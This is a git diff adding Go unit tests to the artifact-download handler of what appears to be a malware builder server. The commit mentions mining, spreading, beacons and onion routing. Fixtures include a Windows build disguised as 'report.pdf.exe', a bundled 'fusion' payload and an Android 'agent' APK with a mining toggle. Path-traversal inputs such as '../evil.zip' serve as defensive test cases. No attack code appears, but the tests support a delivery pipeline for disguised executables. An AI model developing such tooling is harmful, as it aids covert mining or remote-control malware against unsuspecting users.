Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/builder/handler_serve_test.go

@@ -9,6 +9,7 @@ import (
 	"net/http/httptest"
 	"os"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"testing"
 	"time"
@@ -325,6 +326,161 @@ func TestCopyAgentSourceFromWorkspace(t *testing.T) {
 	}
 }
 
+func TestDownloadBuildArtifactTraversalVariants(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	dataDir := t.TempDir()
+	buildID := "trav-1"
+	if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
+		t.Fatal(err)
+	}
+	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
+	cases := []string{"../evil.zip", "..", "foo/../../secret.zip", `..\windows\system32`}
+	for _, name := range cases {
+		req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+name, nil)
+		rctx := chi.NewRouteContext()
+		rctx.URLParams.Add("id", buildID)
+		rctx.URLParams.Add("name", name)
+		req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+		rec := httptest.NewRecorder()
+		h.DownloadBuildArtifact(rec, req)
+		if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
+			t.Fatalf("name=%q status=%d want 400 or 404", name, rec.Code)
+		}
+	}
+}
+
+func TestDownloadBuildArtifactFusionBundleInBuildDir(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	dataDir := t.TempDir()
+	buildID := "fusion-art"
+	zipName := "report-package.zip"
+	zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
+	if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
+		t.Fatal(err)
+	}
+	content := []byte("fusion-zip-payload")
+	if err := os.WriteFile(zipPath, content, 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, FileName: "report.pdf.exe", Platform: "windows",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/" + zipName,
+		CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
+	rctx := chi.NewRouteContext()
+	rctx.URLParams.Add("id", buildID)
+	rctx.URLParams.Add("name", zipName)
+	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+	rec := httptest.NewRecorder()
+	h.DownloadBuildArtifact(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != string(content) {
+		t.Fatalf("body mismatch")
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), zipName) {
+		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
+func TestDownloadBuildArtifactAPK(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	dataDir := t.TempDir()
+	buildID := "apk-dl-1"
+	apkName := "agent-tablet.apk"
+	apkPath := filepath.Join(dataDir, "builds", buildID, apkName)
+	if err := os.MkdirAll(filepath.Dir(apkPath), 0755); err != nil {
+		t.Fatal(err)
+	}
+	apkContent := []byte("PK\x03\x04fake-apk")
+	if err := os.WriteFile(apkPath, apkContent, 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, FileName: apkName, FilePath: apkPath, Platform: "android", CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
+
+	// Primary build download route
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
+	rctx := chi.NewRouteContext()
+	rctx.URLParams.Add("id", buildID)
+	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+	rec := httptest.NewRecorder()
+	h.DownloadBuild(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("download status=%d", rec.Code)
+	}
+	if rec.Body.String() != string(apkContent) {
+		t.Fatalf("apk download body mismatch")
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), apkName) {
+		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
+	}
+
+	// Named artifact route (same file in build dir)
+	req2 := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+apkName, nil)
+	rctx2 := chi.NewRouteContext()
+	rctx2.URLParams.Add("id", buildID)
+	rctx2.URLParams.Add("name", apkName)
+	req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx2))
+	rec2 := httptest.NewRecorder()
+	h.DownloadBuildArtifact(rec2, req2)
+	if rec2.Code != http.StatusOK {
+		t.Fatalf("artifact status=%d", rec2.Code)
+	}
+}
+
+func TestWriteApkConfigJSONFilePermissions(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Windows umask maps 0644 writes to 0666 — POSIX perm bits checked on Linux CI")
+	}
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	req := &BuildRequest{WorkerName: "perm-tab", ServerURL: "http://10.0.0.3:8989", MiningDisabled: true}
+	if err := h.writeApkConfigJSON(req, "perm-build"); err != nil {
+		t.Fatal(err)
+	}
+	cfgPath := filepath.Join(assetsDir, "config.json")
+	info, err := os.Stat(cfgPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if info.Mode().Perm() != 0644 {
+		t.Fatalf("config.json perm=%o want 0644", info.Mode().Perm())
+	}
+	dirInfo, err := os.Stat(assetsDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if dirInfo.Mode().Perm()&0777 != 0755 {
+		t.Fatalf("assets dir perm=%o want 0755", dirInfo.Mode().Perm()&0777)
+	}
+}
+
 func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
 	h := &Handler{dataDir: t.TempDir()}
 	_, _, err := h.saveUploadedFusionPayload(nil, nil)